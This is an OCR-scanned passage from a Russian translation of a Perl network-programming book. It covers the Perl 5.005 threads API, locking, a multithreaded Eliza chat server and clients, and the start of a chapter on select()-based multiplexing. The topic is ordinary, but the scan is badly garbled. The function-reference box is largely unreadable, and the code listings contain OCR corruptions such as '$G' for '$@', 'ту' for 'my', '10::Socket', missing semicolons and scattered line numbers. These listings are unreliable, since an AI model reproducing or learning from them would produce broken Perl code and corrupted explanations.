interpreter threads), который войдет в состав Perl версии 6. Предполагается, что эта версия
будет выпущена в 2001 году. Этот проект должен быть более стабильным по сравнению
с реализацией 5.005, но его API-интерфейс может отличаться от описанного здесь.
API-интерфейс поддержки потока
Описанный здесь API-интерфейс поддержки многопоточной обработки относится
к версии 5.005 проекта реализации потоков, а не к проекту потоков интерпретатора,
который разрабатывается в настоящее время.
API-интерфейс поддержки многопоточной обработки, который описан в
справочных руководствах Thread, Thread: :Queue, Thread: :Semaphore и attrs, внешне
кажется простым, но скрывает много сложностей. Каждая программа начинается
с отдельного потока, называемого основным. Основной поток начинает работу с
момента запуска программы и продолжает действовать до ее завершения (или до
момента вызова функций exit () или die ()).
Для создания нового потока необходимо вызвать метод Thread->new (), передать
ему ссылку на выполняемую подпрограмму и необязательный набор параметров. В
результате будет создан новый одновременно работающий поток, который немедленно
приступает к выполнению указанной подпрограммы. После завершения
подпрограммы поток уничтожается. Например, ниже показано, как запустить новый поток для
выполнения трудоемкого вычисления.
my $thread = Thread->new(\&calculate_pi, precision => 190);
Новый поток вызывает на выполнение подпрограмму calculate_pi ()
вычисления значения числа п и передает ей два параметра, "precision" и "190". В случае
успешного выполнения этот вызов немедленно возвращает новый объект Thread,
который обычно записывается вызывающим потоком в какой-либо стеш. Теперь объект
Thread вызывает метод detach (), который отключает новый поток и освобождает
основной поток от каких-либо обязательств по отношению к нему.
Иным образом, поток может оставаться в предусмотренном по умолчанию
подключенном состоянии, и в этом случае основной поток (или любой другой) должен
в какой-то момент вызвать метод j oin () объекта Thread для выборки возвращаемого
Глава 11. Многопоточные приложения
341
значения подпрограммы. Иногда это выполняется непосредственно перед
завершением работы программы или в тот момент, когда потребуется возвращаемое значение
подпрограммы, выполняемой в потоке. Если выполнение потока еще не закончено,
метод j о in () блокируется до тех, пока это не произойдет.
Продолжая предыдущий пример, предположим, что в какой-то момент в основном
потоке потребовалось значение числа 71, вычисленного в подпрограмме
calculate_pi (). Это можно сделать с помощью следующего вызова:
my $pi = $thread->join;
В отличие от способа организации программы с родительскими и дочерними
процессами, при котором только родительский процесс может вызывать функцию wait ()
с указанием в качестве параметра одного из своих дочерних процессов, между потоками
нет какой-либо строгой родительско-дочерней связи. Любой поток может вызывать
метод j oin () любого другого потока (но не может вызывать метод j oin () самого себя).
Для завершения работы потока достаточно только вызвать функцию return ()
в выполняемой в нем подпрограмме или просто позволить потоку управления дойти
естественным образом до конца блока подпрограммы. В потоках никогда не
вызывается функция exit () языка Perl, поскольку это может привести к уничтожению и
текущего, и всех других потоков (а это нежелательно!). К тому же, ни один поток, кроме
основного, не должен предпринимать попытку установить обработчик сигнала. Нет
такого способа, который бы позволил гарантировать доставку сигнала именно тому
потоку, для которого он предназначен, и поэтому вполне вероятно, что такая
попытка приведет к аварийному завершению работы интерпретатора Perl.
Работа потока может также завершиться аварийно в результате вызова функции
die () с сообщением об ошибке. Однако применение функции die () в потоке
приводит далеко не к тому результату, на который мог рассчитывать разработчик. Вместо
немедленной активизации того или иного исключения, выполнение функции die ()
откладывается до тех пор, пока в основном потоке не будет предпринята попытка
вызвать с помощью метода j oin () поток, уничтоженный функцией die (). В этот
момент выполняется функция die (), что приводит к завершению всей программы.
Если метод join() потока, уничтоженного функцией die (), вызывается потоком,
отличным от основного, действие функции die () снова откладывается до тех пор, пока
не будет вызван с помощью функции j oin () и этот поток.
Для перехвата и обработки таких "отложенных" событий уничтожения с помощью
функции die (), можно применить функцию eval (). Сообщение об ошибке,
переданное функции die (), будет записано в глобальную переменную $@.
my $pi = eval {$thread->join} || warn "Got an error: $G";
Простое многопоточное приложение
Ниже приведено очень простое многопоточное приложение. В нем порождается
два новых потока, каждый из которых вызывает на вьтолнение подпрограмму
hello (). Эта подпрограмма несколько раз выполняет цикл и выводит сообщение,
передаваемое вызывающей процедурой. Эта подпрограмма переходит в состояние
ожидания на короткое время при каждом проходе по циклу (это сделано только в
иллюстративных целях, а не для обеспечения параллельной работы потоков). После
запуска двух потоков основной поток переходит в состояние ожидания завершения
двух этих потоков, вызвав метод j oin ().
342
Часть Ш. Разработка систем TCP типа клиент/сервер
#!/usr/bin/perl
use Thread;
my $threadl = Thread->new(\Shello, "I am thread 1",3)
my $thread2 = Thread->new(\&hello, "I am thread 2",6)
$_->join foreach ($threadl, $thread2);
sub hello {
my ($message, $loop) = G_;
for (l..$loop) { print $message, "\n"; sleep 1; }
}
После запуска этой программы на выполнение будет получен примерно такой вывод:
% perl hello.pl
I am thread 1
I am thread 2
I am thread 1
I am thread 2
I am thread 1
1 am thread 2
I am thread 2
I am thread 2
I am thread 2
Блокировка
Основная проблема при работе с потоками возникает, как только два потока
предпринимают попытку одновременно изменить одну и ту же переменную. Для
иллюстрации этого рассмотрим следующий обманчиво простой фрагмент кода.
my $bytes_sent =0;
ту $socket = IO::Socket->new(....);
sub send_data {
my $data = shift
my $bytes = $socket->syswrite($data);
$bytes_sent += $bytes;
}
Проблема возникает в последней строке подпрограммы, где наращивается
значение переменной $bytes_sent. Если работает сразу несколько сетевых соединений,
события могут развиваться по следующему сценарию.
1. Поток 1 выбирает значение переменной $bytes_sent и пытается его
увеличить.
2. Происходит переключение контекста. Поток 1 приостанавливается, и
управление переходит к потоку 2. Он принимает значение переменной
$bytes_sent и увеличивает его.
3. Снова происходит переключение контекста. Поток 2 приостанавливается,
а поток 1 возобновляет свою работу. Однако поток 1 все еще содержит
значение переменной $bytes_sent, полученное на шаге 1. Он наращивает
первоначальное значение и снова сохраняет его в переменной $bytes_sent,
аннулируя изменения, внесенные потоком 2.
Такая цепочка событий встречается не часто, но когда она возникает, появляются
непонятные ошибки, которые сложно диагностировать.
Глава 11. Многопоточные приложения
343
Решение этой проблемы может состоять в вызове функции lock () для
блокировки переменной $bytes sent перед попыткой ее использовать. После этого
небольшого изменения сценарий будет работать правильно.
my $bytes_sent =0;
„ ту $socket = 10::Socket->new(....);
sub send_data {
my $data = shift
my $bytes = $socket->syswrite($data);
lock($bytes_sent);
$bytes_sent += $bytes;
}
Функция lock () создает "рекомендательную" блокировку переменной, соблюдение
которой обусловлено обоюдным соглашением. Рекомендательная блокировка
исключает возможность вызова другим потоком функции lock () для блокировки переменной
до тех пор, пока поток, владеющий блокировкой в настоящее время, ее не освободит.
Однако эта блокировка не предотвращает доступа к самой переменной, чтение и запись
которой может осуществляться потоком, даже если он не владеет блокировкой,
связанной с этой переменной. Блокировки обычно применяются для предотвращения
попыток двух потоков обновить одну и ту же переменную одновременно.
Если переменная заблокирована, а другой поток также пытается ее заблокировать,
выполнение последнего потока приостанавливается до тех пор, пока блокировка не
станет доступной. Блокировка остается в силе, пока она не выйдет из области
определения, аналогично локальной переменной. В предыдущем примере переменная
$bytes_sent блокируется непосредственно перед ее наращиванием, и блокировка
остается в силе по всей области определения подпрограммы.
Если есть необходимость изменить значения сразу нескольких переменных, то
обычно создается независимая переменная, назначение которой состоит только
в управлении доступом к этому ряду переменных. В следующем примере переменная
$ok_to_update служит в качестве средства блокировки для двух взаимосвязанных
переменных, $bytes_sent и $bytes_lef t.
my $ok_to_update;
sub send_data {
my $data = shift
my $bytes = $socket->syswrite($data);
lock($ok_to_update);
$bytes_sent + = $bytes;
$bytes_left -= $bytes;
}
Можно также заблокировать всю подпрограмму с использованием конструкции
lock (\&subroutine). Если подпрограмма заблокирована, она может выполняться
только потоком, владеющим блокировкой. Такой метод рекомендуется только для
подпрограмм, которые выполняются очень быстро; в ином случае многочисленные
потоки выстроятся в очередь к этой подпрограмме, как автомобили перед
светофором, и основные преимущества потоков будут сразу же перечеркнуты.
Неразделяемые переменные, такие как локальные переменные $data и $bytes
в предыдущем примере, не нуждаются в блокировке. Нет также необходимости
блокировать ссылки на объект, если совместный доступ к этому объекту не осуществляют
несколько потоков.
При использовании потоков в сочетании с объектами Perl, методы объекта часто
требуют блокировать объект перед его изменением. В ином случае два потока могут
344
Часть Ш. Разработка систем TCP типа клиент/сервер
попытаться изменить один объект одновременно, и это приведет к хаосу. Например,
следующий метод объекта не обеспечивает безопасной поддержки потоков,
поскольку два потока могут попытаться изменить объект $sel f одновременно.
sub acknowledge { # Не обеспечивает безопасной поддержки потоков
my $self = shift;
print $self->{socket} "200 OK\n";
$self->{acknowledged}++;
}
В таком случае можно явно блокировать объекты в методах объекта, как в
предыдущем примере.
sub acknowledge { # Обеспечивает безопасную поддержку потоков
my $self = shift;
lock($self};
print $self->{socket} "200 OK\n";
$self->{acknowledged}++;
}
Поскольку переменная $self является ссылкой, может возникнуть вопрос,
происходит ли при вызове функции lock () блокировка ссылки $self или объекта, на
который указывает $self. Ответ состоит в том, что функция lock () автоматически
проходит по ссылкам вверх на один (и только один) уровень. Вызов в форме
lock ($ self) эквивалентен вызову lock (%$self), если $self — ссылка на хеш.
В версиях Perl с поддержкой потоков предусмотрен новый синтаксис добавления
атрибутов к подпрограммам. В соответствии с этим синтаксисом, за именем
подпрограммы следует двоеточие и ряд атрибутов.
sub acknowledge: locked method { # Обеспечивает безопасную
# поддержку потоков
my $self = shift;
print $self->{socket} "200 0K\n";
$ self->(acknowledged}++;
}
Для создания заблокированного метода применяются атрибуты locked и method.
Если присутствуют оба атрибута, как в предыдущем примере, то первый параметр
подпрограммы (ссылка на объект) блокируется при входе в метод и освобождается
после выхода. Если указан только атрибут locked, то интерпретатор Perl блокирует
саму подпрограмму, как при использовании конструкции lock( \&acknowledge).
Основное различие здесь состоит в том, что, при применении сразу двух атрибутов,
locked и method, несколько потоков могут выполнять эту подпрограмму
одновременно при условии, что они работают с разными объектами. Если подпрограмма
отмечена только атрибутом locked, то к ней может получить доступ только один поток,
даже если все потоки работают с разными объектами.
Функции и методы модуля Thread
API-интерфейс поддержки потоков включает также несколько других важных
частей; в частности, в нем предусмотрены способы, позволяющие потокам
сигнализировать друг другу при возникновении каких-либо конкретных состояний. Ниже
приведен очень краткий обзор API-интерфейса поддержки потоков. Дополнительная
информация может быть получена в справочном руководстве perlthread, а другие
средства будут описаны в этой книге более подробно по мере их использования.
Глава 11. Многопоточные приложения
345
I" '■ В " " ~~ ~~ " ". " -Г-771 ЧЕ» ~ Жда1 BB5Tf3
i $ thread = !№reads>raew(\fis\ibroutiiie[i,gargruiBentsI}^ Й
|- Создает новый 'поток выполнения и возвращает объект Thread. Йовый поток немедленно при-1
| уступает к выполнению подпрограммы,.заданной в качестве первого параметра, передавая ей пара- 1
| метры, перечисленные в яеббязательном втором и последующих параметрах
-' $x0turn_value = Sthread-s-join {) s
Метод joint) ожидает завершения работы указанного потока: Возвращаемое значение пред- !
вставляет собой результат, возвращенный подпрограммой, указанной при создании' потока (если эта I
подпрограмма предусматривает возврат результата). Если работа потока еще не закончена, то ме-1
тод join О. блокируется до ее завершения; способа неблокирующего подключения с помощью ме-1
тода jcinO к.кон1фетному потоку не существует| '■
$thread->detaehO »г-'
Если значение, возвращаемое потоком, не представляет интереса, то можно вызвать его метод
detach {). Это исключает возможность последующего вызова метода j din {). Основное преимуще-j
ство отключения потока с помощью метода detach () состоитвтом, что основной поток освобожда-т
ется*рт обязанности подключаться в дальнейшем* другим потокам. - |
Gthreads = Thriead->iis1t() -'* ... '""]
;" Этот метод класса возвращает список объектов Thread. Список включает не только'работаю-"!
щле потоки, но и те потоки,, которые завершили свою работу, но ожидают, пока к ним подключатся
^сгюмрщью метода join ('). ^ - '1
S thread = Thread->self О j. t
Этот метод класса возвращает объект Thread, соответствующий текущему потоку,. ,_,'
$tid - $thread->tidO " ., .* a
!--, . С каждым потоком связан числовой идентификатор, называемый идентификатором потока (tkJ —
l thread Ю). Он не имеет/конкретного применения, возможно зя исключением тоге, что может служить'1
индексом массива или/встраиваться в отладочные сообщения. Идентификатор потока tid, может
быть получен с помощью метода tid(). "'" :.< 4
lock (Svariable) ^ j
Функция lock() блокирует переданный ей скаляр, массив.или хеш таким образом, что никакой;!
другой поток не сможет 'заблокировать, эту переменную до тех.пор^пока блокировка первого потока*
lie выйдет из области определения. Применительно к контейнерным переменным, таким как масси- „
вы, блокировка всего'массива (например, с помощью вызова lock(Sconnections)) отличается отН
| блокировки компонента массива ^например, lock ($connectionsI31>), ;»„e.,,^ . ,_. ,,е< .'"1
Для использования функции lock () нет необходимости явно импортировать
модуль Thread. Эта функция встроена в ядро всех версий Perl, которые поддерживают
многопоточную обработку. В версиях Perl, которые не поддерживают
многопоточную обработку, функция lock () не выполняет никаких действий. Это позволяет
создавать модули, обеспечивающие безопасную поддержку потоков, которые будут
работать в равной степени успешно в версиях Perl как с поддержкой многопоточной
обработки, так и без нее.
Следующие пять элементов представляют собой функции, которые должны быть
явно импортированы из модуля Thread.
use Thread qw(async yield cond_wait cond_signal cond_broadcast);
j $thread » async {BLOCK}
h Использование функции async () -г альтернативный способ создания нового объекта Thread j
I Данная функция принимает не'ссылку на подпрограмму и ее параметры, как метод new О, а блок ко- •
| да, который становится телом нового потока. К объекту Thread, возвращенному функцией async (), *
< можно подключаться с помощью метода joint), точно так же как при использовании потока,
созванного с помощью метода new(). -' д;.. j
j_hj*eld() ^.|Ж. . .., J __; *==*,-»-..■=. ... .в1^.--„..' . 1
346
Часть Ш. Разработка систем TCP типа клиент/сервер
Применение функции yitj..1() предстзаляет собой слоссб. с помощью которого лоток мсжет
сообщить интерпретатору Per), что конкретный участгк кода может использоваться для переключения
контекста потока. Поскольку пэтгчи з резличяых операционных системах реализованы по-разному,
эта функция может оказывать (или не оказывать) конкретное воздействие. Обычно нет
необходимости вызывать функцию yield О для обеспечения параллельного выполнении, но иногда (-на может
■помочь более рлвн ~>мерно распределить интервалы вреЬгни сыпопнения межДу потоками.
corid_ifBit (Svari^l^)
Фунхция cond_w.?.it () ожидает поступления сигнала об изменении .состояния переменной Эта
функция принимает в качестве параметра заблокированную переменную, освобождает бллсирожу и пореесдит
поток, владевши* блокировкой, в состояние цжиданил дп тех пор. пока не поступит сигнал об изменении
состояния переменной от другого потока, вызвавшего функцию con<J_signal (J или cohdjsroadcast l).
Перед выполнением возврата функция cond_wcit \) сневэ блокирует переменную.
cond_signal($ variafclo)
Функция con3_signel () сигнализирует;об изменении состояния переменной Svarin: it. что
приводит к -возобновлению работе потоков, ожидающих этого сигнала. Если* ни един поток не
ожидает этого сигнала, тс еызее данной функции/не приводит к выполнению каких-либо действий. Если
сигнала об Изменений состояния переменной ожидает несколько потсксв, то рчэзблокируется один
(и только один) из-них Невозможно предсказать заранее, какой именно из' ожидающих потоков будет
разблокирован.
Icond_broadcaet (8 variable)
Функция c-^ni!_tr&adf-ast () действует (аналогично функции coni_si-3nnl<). эа исключением
того, что аггизизируютск все ожидающие потоки. Каждый :<лспок по очереди снсеа приобретает бло-
J кировку и выполняет код. который следует за вызовом функции cond_wjit <). Порядок, в котором
б дет происходить активизация ожидающих потоков, не определен.
Применение функций cond_wait () и cond_broadcast () описано в главе 14 на
примере разработки адаптивного сервера с предварительным формированием потоков.
Потоки и сигналы
Разработчики, которые планируют применять потоки в сочетании с сигналами,
должны учитывать, что интеграция средств обработки сигналов со средствами
многопоточной обработки относится к одной из наименее опробованных частей
экспериментальной реализации потоков Perl. Проблема состоит в том, что время
поступления сигналов является непредсказуемым и они могут быть доставлены в любой
поток, выполняемый в данный момент, что приводит к неопределенным результатам.
Предполагается, что решение этой проблемы может быть достигнуто с помощью
модуля Thread: : Signal, который обеспечивает доставку всех сигналов в
специальный поток, работающий параллельно с основным. Для его использования не нужно
предпринимать каких-либо особых действий. Для запуска сигнального потока
достаточно загрузить этот модуль.
use Thread::Signal;
Однако следует учитывать, что модуль Thread: : Signal изменяет семантику
сигналов, в результате чего их нельзя больше использовать для прерывания
продолжительных системных вызовов. Поэтому следующий прием становится неприемлемым.
alarm (10);
my $bytes =
eval {
local $SIG{ALRM} = sub ( die };
sysread($socket,$data,1024);
};
Глава 11. Многопоточные приложения
341
В некоторых случаях можно обойти это ограничение, заменив раздел eval { }
вызовом функции select (). Такой прием будет описан в главе 15.
На практике иногда создается впечатление, что модуль Thread:: Signal
способствует не повышению, а понижению стабильности программ, в зависимости от
применяемой версии Perl и библиотеки поддержки многопоточной обработки. Автор
рекомендует при проведении экспериментов с многопоточными средствами вначале
написать программу без модуля Thread:: Signal и ввести его позже, если будут
происходить непредвиденные сбои или другие странные явления.
Многопоточный психотерапевтический
сервер
Несмотря на то что потокам было посвящено такое длинное введение, фактически
код многопоточного сервера весьма невелик по объему. Ниже приведена
многопоточная версия психотерапевтического сервера (листинг 11.1).
Листинг 11.1. Многопоточный психотерапевтический сервер
0: #!/usr/local/bin/perl -w
1: # Файл: eliza_thread.pl
2
3
4
5
б
7
8
9
10
11: die $G unless $listen_socket;
12: warn "Listening for connections...\n";
use strict;
use 10::Socket;
use Thread;
use Chatbot::Eliza::Server;
use constant PORT => 12000;
my $listen_socket = IO::Socket::INET->new(LocalPort => PORT,
Listen
Pro to
Reuse
=> 20,
=> 'tcp'.
=> 1);
13
14
15
16
17
18
19
20
21
while (my $connection = $listen_socket->accept) {
Thread->new(\sinteract,$connection);
}
sub interact {
my $handle = shift;
Thread->self->detach;
Chatbot::Eliza::Server->new->command_interface($handle,$handle);
$handle->close ();
}
Проведем анализ программы.
Строки 1-5. Загрузка модулей. Выполнение программы начинается с загрузки модулей
Ю::socket и Thread. Вызывается также специализированная версия модуля
Chatbot: .-Eliza, в которой метод command_interfасе () был откорректирован для работы
в многопоточной среде (листинг 11.2).
348
Часть Ш. Разработка систем TCP типа клиент/сервер
• Строки 6-12. Создание приемного сокета. Как и в предыдущих примерах, создается новый
приемный сокет с помощью метода Ю::Socket::iNET->new(). Если приемный сокет не
может быть создан, вызывается функция die и выводится сообщение об ошибке, оставленное
модулем ю:: Socket в переменной $@.
• Строки 12-15. Цикл приема. Программа переходит в главный цикл сервера. При каждом
проходе по циклу вызывается функция accept (), что приводит к созданию нового сокета,
подключенного к клиенту, который прислал входящий запрос. Запускается новый поток для
обработки этого соединения путем вызова метода Thread->new () со ссылкой на подпрограмму
interact О и с подключенным сокетом в качестве ее единственного параметра. Затем снова
происходит переход к ожиданию выполнения функции accept ().
Обратите внимание, что здесь нет необходимости закрывать приемный сокет, как в примерах
сервера с ветвлением. Это связано с тем, что в данной программе дубликаты дескрипторов
сокетов не создаются.
• Строки 16-21. Подпрограмма interact О. Эта подпрограмма ведет диалог с пользователем
и работает в отдельном потоке. Поскольку главный сервер никогда не проверяет
возвращаемые значения обслуживающих соединение потоков, которые он запускает, то нет
необходимости проверять информацию об их состоянии, поэтому работа потока начинается с его
отключения от основного потока.
Затем создается новый объект chatbot::Eliza::Server и вызывается его метод
commandinterf асе (). В отличие от предыдущих примеров, этот подкласс выполняет чтение
и запись не в дескрипторы stdin и stdout, а в пару дескрипторов файлов, передаваемых
в списке параметров. Первым параметром является дескриптор файла, предназначенный для
ввода обращений пользователя, а вторым — дескриптор файла для вывода ответов
психотерапевта. В этом случае оба дескриптора файлов относятся к подключенному сокету.
Подпрограмме command_interf асе () предоставляется возможность выполнить свою задачу, после
чего сокет закрывается. По завершении подпрограммы поток прекращает свою работу.
Класс Chatbot::Eliza::Server
В основе создания подкласса Chatbot: :Eliza лежит следующее. Метод
command_inter f асе () этого класса жестко запрограммирован на использование
дескрипторов STDIN и STDOUT. В примерах сервера с ветвлением мы имели
возможность заставить модуль Chatbot: :Eliza читать и писать в подключенный сокет,
переоткрыв стандартный ввод и вывод в дескриптор файла сокета. Этот прием мог
применяться в связи с тем, что каждый дочерний процесс имеет собственную копию
дескрипторов STDIN и STDOUT и их можно было изменить, не нарушая работы других
дочерних процессов, выполняемых одновременно. Однако в примере
многопоточного сервера это невозможно, поскольку есть только одна копия дескрипторов файлов
STDIN и STDOUT, разделяемая между потоками. Поэтому возникает необходимость
откорректировать подпрограмму command_interfасе (), чтобы она могла читать
и писать в дескрипторы файлов, передаваемые ей во время выполнения.
В листинге 11.2 приведен код, необходимый для достижения этой цели. Этот
модуль наследует свои методы от модуля Chatbot: :Eliza через массив EISA. Затем
в нем переопределяется метод command_interfасе ().
ЛИСТИНГ 11,2. Класс Chatbot: : Eliza: : Server
0: package Chatbot::Eliza::Server;
1: use Chatbot::Eliza;
2: GISA = 'Chatbot::Eliza';
3: sub command interface {
Глада 11. Многопоточные приложения
349
14
15
16
17
18
19
20
21
22
23
24
my $self = shift;
my $in = shift || \*STDIN;
my $out = shift || \*STDOUT;
my ($user input, $previous user_input, $reply);
8: $self->botprompt($self->name . ":\t"); # Установить
# приглашение для программы Eliza
9: $self->userprompt("you:\t"); # Установить
# приглашение для пользователя
10: # Вывести приветственное сообщение
11: print $out $self->botprompt,
12: $self->{initial}->
[ int rand scalar G{ $self->{initial} } ],
13: "\n";
while (1) (
print $out $self->userprompt;
$previous_user_input = $user_input;
chomp( $user_input = <$in> );
last unless $user_input;
# Пользователь желает завершить работу
if ($self->_testquit($user_input) ) {
$reply = $self->{final}->
[ int rand scalar G{ $self->(final} } ];
print $out $self->botprompt,$reply, "Xn";
last;
}
25: # Вызвать метод transform для подготовки ответа
26: $reply = $self->transform( $user_input );
27
28
29
30: }
31: 1;
# Вывести ответ
print $out $self->botprompt,$reply,"\n";
Для создания подпрограммы command_interf асе () автор просто продублировал
первоначальный код Chatbot: : Eli za и добавил новый параметр дескриптора файла
ко всем операторам ввода и вывода (а также удалил лишний код отладки). Для
сохранения совместимости с первоначальной версией модуля, по умолчанию для чтения
и записи используются дескрипторы файлов STDIN и STD0UT, если не указано иное.
Многопоточный клиент
В настоящем разделе описан многопоточный клиент gab4.pl (листинг 11.3),
предназначенный для применения наряд)' с многопоточным психотерапевтическим
сервером. Он аналогичен клиенту с ветвлением gab3.pl, ориентированному на
обработку потоков байтов, который описан в главе 10 (листинг 10.3). Однако вместо
ветвления дочернего процесса для чтения информации с удаленного сервера, цикл
чтения происходит внутри потока, выполняющего подпрограмму do_read ().
350
Часть Ш. Разработка систем TCP типа клиент/сервер
Листинг 11.3. Многопоточный клиент, предназначенный для параллельной
работы
ю
11
12
13
22
23
24
25
26
27
#!/usr/local/bin/perl -w
# Файл: gab4.pi
# Применение: gab4.pl [хост] [порт]
3: use strict;
4: use IO::Socket;
5: use Thread;
6: use constant BUFSIZE => 1024;
7: $SIG{TERM} = sub { exit 0 };
8: my $host = shift or die "Usage: gab4.pl host [port]";
9: my $port = shift || 'echo';
my $socket = IO::Socket::INET->new("$host:$port") or di£ $G;
# Поток выполняет чтение из сокета и запись в дескриптор
# STDOUT
my $read thread = Thread->new(\shost_to user,$socket);
# Главный поток выполняет чтение из дескриптора STDIN и
# запись в сокет
14: user_to_host($socket);
15: $socket->shutdown(l);
16: $read_thread->join;
17: sub user_to_host {
18: my $s = shift;
19: my $data;
20: syswrite($s,$data) while sysread(STDIN,$data,BUFSIZE);
21: }
sub host_to_user {
my $s = shift;
my $data;
syswrite(STDOUT,$data) while sysread($s,$data,BUFSIZE);
exit 0;
}
Еще одно важное различие между этой и предыдущей версией клиента состоит
в том, как происходит завершение работы. В обоих клиентах при обнаружении в
подпрограмме do_write () закрытия стандартного ввода, эта подпрограмма закрывает
передающую половину сокета, вызывая функцию shutdown (1). В результате на
сервер передается признак конца файла, что приводит к закрытию его стороны сокета,
и сообщение об этом событии снова передается потоку do_read ().
Пока все идет хорошо, но что произойдет, если инициатором разъединения
станет сервер? Поток do_read () обнаружит признак конца файла и завершит работу.
Однако цикл do_write (), выполняемый в основном потоке, обычно заблокирован
в ожидании данных, поступающих из стандартного ввода, и поэтому не получит
извещения о том, что произошло какое-то нарушение, до тех пор, пока не предпримет
Глава 11. Многопюточные приложения
351
попытку записать строку текста в сокет и не активизирует сигнал PIPE. В клиенте
с ветвлением эту ситуацию можно обойти, предусмотрев вызов функции exit () в
обработчике сигнала CHLD. В примере клиента с поддержкой многопоточности не
возникает сигнал CHLD, который можно было бы перехватить, и поэтому проще всего
можно выйти из положения, предусмотрев вызов функции exit() в потоке
host_to_user().
Резюме
Многопоточная обработка предоставляет изящный способ достижения
параллелизма в сетевых приложениях с установлением логического соединения. К
сожалению, текущая реализация потоков в интерпретаторе Perl не совсем надежна, поэтому
в следующей версии Perl этот API-интерфейс станет немного иным.
Предполагается, что в версии Perl 6 будут представлены надежные средства
многопоточной обработки, и хотя API-интерфейс, вероятно, в чем-то изменится по
сравнению с описанным в настоящей книге, основные концепции создания, уничтожения
и блокировки потоков останутся прежними.
352
Часть III. Разработка систем TCP типа клиент/сервер
Глава
My ль типлексные
приложения
Мультипроцессные и многопоточные' приложения, описанные в последних двух
главах, позволяют обслуживать в программе несколько одновременно работающих
соединений. Последним общим рассматриваемым методом является
мультиплексирование ввода-вывода. При мультиплексировании для создания иллюзии параллельной
работы не используются какие-либо свойства операционной системы. Вместо этого
мультиплексные приложения обслуживают все соединения в одном главном цикле.
Например, сервер, который в настоящее время обслуживает даже десятки клиентов,
читает данные из каждого подключенного сокета по очереди, выполняет текущий
запрос, а затем переходит к обслуживанию следующего клиента.
Основная проблема при чередовании ввода-вывода таким образом состоит в
возникновении предпосылок для блокировки. При попытке чтения из сокета, в котором
нет данных, готовых для передачи, вызовы функций read () и sysread ()
блокируются до получения новых данных. При обслуживании многочисленных соединений
это неприемлемо, поскольку вызывает приостановку работы всех соединений в
ожидании того, когда к вводу данных будет готово единственное соединение. Еще одна
потенциальная проблема состоит в том, что блокируются и вызовы функций
syswrite () или print (), если клиент на другом конце соединения не готов к
чтению. В результате производительность работы всего сервера напрямую зависит от
производительности самого медленного клиента.
Ключом к организации мультиплексирования является встроенная, функция
select () и ее объектно-ориентированный эквивалент, модуль IO:: Select.
Функция select () позволяет проверить, будет ли операция ввода-вывода в дескрипторе
файла заблокирована, еще до выполнения самой операции. Применение этих средств
описано в настоящей главе.
Мультиплексный клиент
Прежде чем перейти к подробному описанию работы функции select (),
рассмотрим новую версию клиента "gab" в виде сценария gab5. pi, предназначенную для
поддержки мультиплексирования, которая, как и предыдущее ее воплощение, принимает
строки со стандартного ввода, передает их на удаленный сервер, а затем
перенаправляет ответ от сервера в стандартный вывод. Код этого сценария приведен в листинге 12.1.
щ
Глава 12. Мультиплексные приложения
353
Листинг 12.1. Мультиплексный клиент
#!/usr/local/bin/perl -w
# Файл: gab5.pl
# Применение: gab5.pl [хост] [порт]
# Интерактивный клиент TCP, в котором применяется
# мультиплексирование
use strict;
use IO::Socket;
use IO::Select;
use constant BUFSIZE => 1024;
8: my $host = shift or die "Usage: gab5.pl host [port]\n";
9: my $port = shi ft | | "echo *;
10: my $socket = IO::Socket::INET->new("$host:$port") or die $G;
11: my $readers = IO::Select->new() or
die "Can't create IO::Select read object";
12: $readers->add(\*STDIN);
13: $readers->add($socket);
14: my $buffer;
15: while (1) {
16: my Gready = $readers->can__read;
17: for my $handle (Gready) {
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33: }
34: }
if ($handle eq \*STDIN) {
if (sysread(STDIN,$buffer,BUFSIZE) > 0) {
syswrite($socket,$buffer);
} else {
$socket->shutdown(l);
}
}
if ($handle eq $socket) {
if (sysread($socket,$buffer, BUFSIZE) > 0) {
syswrite(STDOUT,$buffer) ;
} else {
warn "Connection closed by foreign host.Xn";
exit 0;
}
}
Проведем анализ программы.
Строки 1-9. Загрузка модулей и обработка параметров командной строки. Включена
строгая проверка типа и загружены модули IO:: Select и Ю:: Socket. Из командной строки счи-
тывается имя хоста и номер порта, к которым должно быть выполнено подключение, а если
хост не указан, предполагается, что речь идет об эхо-сервере на локальном хосте.
Строка 10. Создание нового подключенного сокета. Создается сокет, подключенный к
указанному участнику соединения, путем вызова метода Ю:: Socket: :iNET->new() в
сокращенной форме с одним параметром.
354
Часть Ш. Разработка систем TCP типа клиент/сервер
• Строки 11—13. Создание нового набора объектов io::Select. Принято решение
мультиплексировать операции чтения из стандартного ввода и сокета. Это значит, что чтение из
стандартного ввода будет выполняться, только если пользователь ввел некоторые данные, а
чтение из сокета — только если есть данные, переданные сервером и доступные для чтения.
Для этого создается новый объект Ю::Select путем вызова метода Ю: :Select->new().
Объект Ю:: Select содержит один или несколько дескрипторов файлов, которые позволяют
проверять их готовность к выполнению ввода-вывода. После создания объекта Ю:: Select
в него вводятся дескрипторы файла stdin и сокета путем вызова метода add () этого объекта.
• Строки 14-17. Главный цикл ввода-вывода. Теперь программа входит в цикл while (). При
каждом проходе по циклу вызывается метод can_read() объекта Ю: .-Select для чтения
списка дескрипторов, готовых для чтения. Этот список может содержать дескриптор сокета,
дескриптор файла stdin или оба дескриптора. Задача состоит в просмотре в цикле списка
готовых дескрипторов и выполнении соответствующего действия для каждого из них. Если готов
для чтения дескриптор stdin, данные из него копируются в сокет. Если готов сокет, данные из
него копируются в дескриптор stdout.
• Строки 18-24. Обработка данных в дескрипторе stdin. Если дескриптор stdin готов для
чтения, то применяется функция sysreadf) для чтения, вплоть до 2 Кбайт, данных в
строковую переменную $buffer. Если функция sysreadf) возвращает положительное значение,
копия полученных данных записывается в сокет. В ином случае это значит, что в стандартном
вводе появился признак конца файла. Выполняется функция shutdown () для закрытия той
половины сокета, которая предназначена для записи, и на удвленный сервер отправляется
признак конца файла.
• Строки 25-32. Обработка данных в сокете. Если имеются данные, предназначенные для
чтения из подключенного сокета, то вызывается функция sysread () для чтения, вплоть до 2
Кбайт, данных из этого сокета. Если операция чтения выполнена успешно, данные сразу же
выводятся в дескриптор stdout. В ином случае можно сделать вывод, что удаленный хост
закрыл соединение, поэтому выводится сообщение об этом и работа программы прекращается.
Сценарий gab5.pl можно использовать для работы с различными сетевыми
серверами, включая и те, которые ориентированы на обработку строк, и те, которые
вырабатывают менее предсказуемые выходные данные. Поскольку этот сценарий не
основан ни на мультипроцессных, ни на многопоточных методах, он работает
фактически на всех операционных системах, для которых предусмотрена версия Perl,
включая Macintosh.
Модуль IO::Select
